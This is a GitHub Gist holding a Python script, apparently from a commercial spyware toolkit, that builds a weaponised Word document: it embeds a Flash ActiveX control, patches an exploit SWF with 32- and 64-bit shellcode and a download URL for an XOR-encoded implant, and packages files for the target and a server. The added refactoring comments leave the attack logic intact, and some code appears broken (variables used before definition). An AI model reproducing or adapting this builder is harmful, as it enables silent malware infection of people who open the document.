Last active
March 2, 2020 10:42
-
-
Save bedekelly/8695b4f5491c087370e9 to your computer and use it in GitHub Desktop.
Cleanup in Progress - MS Word Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import os | |
import warnings | |
import zlib | |
import struct | |
import random | |
import shutil | |
import zipfile | |
from zipfile import ZipFile | |
import time | |
# Allow imports from ./pylzma.egg | |
sys.path.append(os.getcwd() + '/' + "pylzma.egg") | |
import pylzma | |
def random_id(length): | |
""" | |
Return a random ID comprised of alternating letters and numbers. | |
""" | |
number = '0123456789' | |
alpha = 'abcdefghijklmnopqrstuvwxyz' | |
id = '' | |
for _ in range(0, length, 2): | |
id += random.choice(number) | |
id += random.choice(alpha) | |
return id | |
def four_byte_xor(buf, key): | |
""" | |
Perform some kind of XOR with C structs. | |
""" | |
out = '' | |
for i in range(0,len(buf)/4): | |
c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0] | |
c ^= key | |
out += struct.pack("<I", c) | |
reminder = len(buf) % 4 | |
for i in range(len(buf)-reminder, len(buf)): | |
c = struct.unpack("B", buf[i])[0] | |
c ^= 0x41 | |
out += struct.pack("B", c) | |
return out | |
def byteArray2String(param): | |
""" | |
Open a temporary binary file. | |
Write `param` to it, then read `param` back into `result`. | |
TODO: figure out what the hell this is supposed to accomplish. | |
""" | |
with warnings.catch_warnings(): | |
warnings.simplefilter('ignore') | |
tmp = os.tempnam() | |
with open(tmp, "wb") as f: | |
f.write(param) | |
with open(tmp, "rb") as f: | |
result = f.read() | |
try: | |
os.unlink(tmp) | |
except WindowsError: | |
# Todo: why would this ever happen? | |
print "I/O error when deleting %s file"%(tmp) | |
return result | |
def create_doc(): | |
""" | |
Update the Microsoft word document provided with our exploit. | |
Todo: split this into sub-functions, it's big and does too much. | |
""" | |
# Unpack the zip-file provided in input_file to "tmp". | |
if not os.path.exists("tmp"): | |
os.mkdir("tmp") | |
myzip = ZipFile(input_file) | |
myzip.extractall("tmp") | |
myzip.close() | |
# Update the content types of "[Content_Types].xml". | |
# Todo: what's with that name? Is that a real file? | |
# Doesn't look like it's being formatted or anything. | |
with open("tmp/[Content_types].xml", "r") as f: | |
content_types = f.read().lower() | |
types_start = content_types.find("<types") | |
types_length = content_types[idx:].find(">") + 1 | |
types_end = types_start + types_length | |
up_to_types = content_types[:types_end+1] | |
if "vnd.ms-office.activex" not in content_types: | |
up_to_types += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>' | |
if "image/x-wmf" in content_types: | |
up_to_types += '<Default ContentType="image/x-wmf" Extension="wmf"/>' | |
up_to_types += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/word/activeX/activeX1.xml"/>' | |
up_to_types += content_types[types_start+types_length:] | |
with open("tmp/[Content_Types].xml", 'w') as types_file: | |
types_file.write(up_to_types) | |
# Update the <relationships> attribute of tmp/word/_rels/document.xml.rels. | |
with open("tmp/word/_rels/document.xml.rels", 'r') as rels_file: | |
rels = rels_file.read().lower() | |
# Add correct relationship attribute to up_to_end_relationships. | |
end_relationships = rels.find("</relationships>") | |
up_to_end_relationships = rels[:end_relationships] | |
up_to_end_relationships += ('<Relationship Target="activeX/activeX1.xml" ' | |
'Type="http://schemas.openxmlformats.org/office' | |
'Document/2006/relationships/control" Id="rId1000"/>' | |
'<Relationship Target="media/image1000.wmf" Type=' | |
'"http://schemas.openxmlformats.org/officeDocument/' | |
'2006/relationships/image" Id="rId1001"/>') | |
# End the relationships attribute. | |
up_to_end_relationships += "</Relationships>" | |
# Save the file to disk. | |
with open("tmp/word/_rels/document.xml.rels", 'w') as rels_file: | |
rels_file.write(up_to_end_relationships) | |
# Update the document body. | |
# Todo: make the same changes as above for this part. | |
buff = open("tmp/word/document.xml", 'r').read() | |
#idx = buff.lower().find("</w:body") | |
#idx2 = 0 | |
idx = buff.lower().find("<w:body") | |
idx2 = buff[idx:].lower().find(">") + 1 | |
buff2 = buff[:idx+idx2] | |
buff2 += '<w:control w:name="ShockwaveFlash1" r:id="rId1000"/>' | |
buff2 += buff[idx+idx2:] | |
open("tmp/word/document.xml", 'w').write(buff2) | |
# Disallow anything which has an ActiveX control in: might interfere with our exploit. | |
if os.path.exists("tmp/word/activeX"): | |
print "[!!] Unsupported file: contains an ActiveX" | |
sys.exit(-1); | |
else: | |
shutil.copytree("resources/activeX/", "tmp/word/activeX/") | |
# Copy our image into /tmp/word/media, creating it if necessary. | |
if not os.path.exists("tmp/word/media/"): | |
shutil.copytree("resources/media/", "tmp/word/media/") | |
else: | |
shutil.copy("resources/media/image1000.wmf", "tmp/word/media/") | |
random.seed() | |
# If we're in test mode, skip the random filename generation | |
# and name the SWF "avtest.swf". | |
if not os.path.exists("c:\\RCS\\DB\\config\\test"): | |
SWF_RANDOM_NAME = random_id(12) + ".swf" | |
else: | |
SWF_RANDOM_NAME = "avtest.swf" | |
EXE_RANDOM_NAME = random_id(12) + ".dat" | |
# Form EXE_URL and SWF_URL by concatenating sys.argv[2] and the | |
# randomly generated IDs. | |
# TODO: os.path.join should be used here. | |
if sys.argv[2][-1] == "/": | |
EXE_URL = sys.argv[2] + EXE_RANDOM_NAME | |
SWF_URL = sys.argv[2] + SWF_RANDOM_NAME | |
else: | |
EXE_URL = sys.argv[2] + '/' + EXE_RANDOM_NAME | |
SWF_URL = sys.argv[2] + '/' + SWF_RANDOM_NAME | |
# Append "http" to EXE_URL and SWF_URL if it isn't there already. | |
if EXE_URL[:4] != 'http' and EXE_URL[:4] != "HTTP": | |
EXE_URL = "http://" + EXE_URL | |
if SWF_URL[:4] != 'http' and SWF_URL[:4] != "HTTP": | |
SWF_URL = "http://" + SWF_URL | |
# Print details about this program's parameters. | |
# Derived partly from argv and partly hardcoded. | |
#SWF_URL = "/".join(sys.argv[2].split("/")[0:-1]) + '/' + SWF_RANDOM_NAME | |
SCOUT_NAME = sys.argv[8] | |
input_file = sys.argv[4] | |
output_file = sys.argv[5] | |
send_to_target_zip = sys.argv[3] | |
send_to_server_zip = sys.argv[7] | |
INPUT_SCOUT = sys.argv[6] | |
exploit_file = "exploit.swf" | |
XOR_KEY = random.randint(0xdead, 0xdeadbeef) | |
print "SWF_URL: ", SWF_URL | |
print "Target zip: ", send_to_target_zip | |
print "Input file: ", input_file | |
print "Output file: ", output_file | |
print "INPUT_SCOUT: ", INPUT_SCOUT | |
print "Server zip: ", send_to_server_zip | |
print "Scout name: ", SCOUT_NAME | |
print "XOR key: ", XOR_KEY | |
print "Exploit file: ", exploit_file | |
random.seed() | |
create_doc() | |
####################################################### | |
#### CLEANED DOWN TO HERE #### | |
======================================================= | |
# Todo: figure out what these magic numbers mean. | |
XOR_OFFT = 0x88 * 2 | |
URL_OFFT = XOR_OFFT + (0x4*2) | |
SCOUT_OFFT = 0x110 * 2 | |
XOR_OFFT64 = 0 | |
URL_OFFT64 = 8 | |
SCOUT_OFFT64 = 0x88 * 2 | |
# decompress swf | |
compressed_swf = open("resources/exploit.swf", 'rb').read() | |
swf_buff = zlib.decompress(compressed_swf[8:]) | |
# replace :) | |
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi") | |
swf_buff = swf_buff.replace("ht-201", "abc123") | |
##### 32 ####### | |
# get offset to shellcode | |
stage2_offset = swf_buff.find(b"EFBEADDE") | |
if stage2_offset == 0: | |
print "[!!] Gadget for shellcode not found" | |
sys.exit(-1) | |
print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset) | |
swf_bytearray = bytearray(swf_buff) | |
# replace shellcode 32 | |
shellcode = open("resources/shellcode", 'rb').read() | |
if len(shellcode) > 5800: | |
print "[!!] Shellcode too big: 0x%x" % (len(shellcode)) | |
sys.exit(-1) | |
hex_shellcode = shellcode.encode('hex') | |
for i in range(len(hex_shellcode)): | |
swf_bytearray[stage2_offset + i] = hex_shellcode[i] | |
# modify URL 32 | |
hex_url = EXE_URL.encode('hex') + "0000" | |
print "[+] Hex URL => %s" %(hex_url) | |
for i in range(len(hex_url)): | |
swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i] | |
# modify scout name 32 | |
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000" | |
print "[+] Scout Name => %s" % (hex_scout) | |
for i in range(len(hex_scout)): | |
swf_bytearray[stage2_offset + SCOUT_OFFT + i] = hex_scout[i] | |
# modify xor key | |
hex_xorkey = ("%08x" % XOR_KEY) | |
print "[+] Hex key => %s" %(hex_xorkey) | |
swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6] | |
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7] | |
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4] | |
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5] | |
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2] | |
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3] | |
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0] | |
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1] | |
##### 64 ####### | |
# get offset to shellcode64 | |
stage264_offset = swf_buff.find(b"CAF1ADDE") | |
if stage264_offset == 0: | |
print "[!!] Gadget for shellcode64 not found" | |
sys.exit(-1) | |
print "[+] Gadget for shellcode found @ 0x%x" %(stage264_offset) | |
# replace shellcode 64 | |
shellcode64 = open("resources/shellcode64", 'rb').read() | |
if len(shellcode64) > (5800*2): | |
print "[!!] Shellcode too big: 0x%x" % (len(shellcode64)) | |
sys.exit(-1) | |
hex_shellcode64 = shellcode64.encode('hex') | |
for i in range(len(hex_shellcode64)): | |
swf_bytearray[stage264_offset + i] = hex_shellcode64[i] | |
# modify URL 64 | |
hex_url = EXE_URL.encode('hex') + "0000" | |
print "[+] Hex URL => %s" %(hex_url) | |
for i in range(len(hex_url)): | |
swf_bytearray[stage264_offset + URL_OFFT64 + i] = hex_url[i] | |
# modify scout name 32 | |
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000" | |
print "[+] Scout Name => %s" % (hex_scout) | |
for i in range(len(hex_scout)): | |
swf_bytearray[stage264_offset + SCOUT_OFFT64 + i] = hex_scout[i] | |
# modify xor key 64 | |
hex_xorkey = ("%08x" % XOR_KEY) | |
print "[+] Hex key => %s" %(hex_xorkey) | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 0] = hex_xorkey[6] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 1] = hex_xorkey[7] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 2] = hex_xorkey[4] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 3] = hex_xorkey[5] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 4] = hex_xorkey[2] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 5] = hex_xorkey[3] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 6] = hex_xorkey[0] | |
swf_bytearray[stage264_offset + XOR_OFFT64 + 7] = hex_xorkey[1] | |
# compress swf | |
uncompressed_len = len(swf_bytearray) | |
uncompressed_len += len("ZWS\x0d") | |
uncompressed_len += 4 # + se stessa | |
print "[+] Uncompressed len: 0x%x" %(uncompressed_len) | |
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray)) | |
compressed_len = len(lzma_buff) - 5 | |
print "[+] Compressed len: 0x%x" %(compressed_len) | |
output_buff = "ZWS\x0d" | |
output_buff += struct.pack("<L", uncompressed_len) | |
output_buff += struct.pack("<L", compressed_len) | |
output_buff += lzma_buff | |
# write it | |
open(SWF_RANDOM_NAME, 'wb').write(output_buff) | |
# modify ole link | |
ole_link_buff = open("tmp/word/activeX/activeX1.bin", 'rb').read() | |
ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p") | |
print "[+] Offset to first link: 0x%x" %(ole_link_offt) | |
ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1) | |
print "[+] Offset to second link: 0x%x" %(ole_link2_offt) | |
ole_link3_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link2_offt+1) | |
print "[+] Offset to third link: 0x%x" %(ole_link3_offt) | |
swf_url_bytearray = bytearray(SWF_URL + "\x00\x00") | |
ole_link_bytearray = bytearray(ole_link_buff) | |
for i in range(len(ole_link_bytearray)): | |
if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt: | |
y = 0 | |
for x in range(len(swf_url_bytearray)): | |
ole_link_bytearray[i+y] = swf_url_bytearray[x] | |
ole_link_bytearray[i+y+1] = 0x0 | |
y += 2 | |
# dump modified ole link | |
open("tmp/word/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray)) | |
# create docx | |
cwd = os.getcwd() | |
os.chdir(cwd + "\\tmp") | |
os.system("zip.exe -r ..\\tmp.zip *") | |
os.chdir(cwd) | |
shutil.move("tmp.zip", output_file) | |
# zip per target | |
os.system("zip.exe -r \"" + send_to_target_zip + "\" \"" + output_file + "\"") | |
shutil.move(send_to_target_zip + ".zip", send_to_target_zip) | |
# zip per server | |
open(EXE_RANDOM_NAME, 'wb').write(four_byte_xor(open(INPUT_SCOUT, 'rb').read(), XOR_KEY)) | |
#shutil.copy(INPUT_SCOUT, EXE_RANDOM_NAME) | |
os.system("zip.exe \"" + send_to_server_zip + "\" " + EXE_RANDOM_NAME + " " + SWF_RANDOM_NAME) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment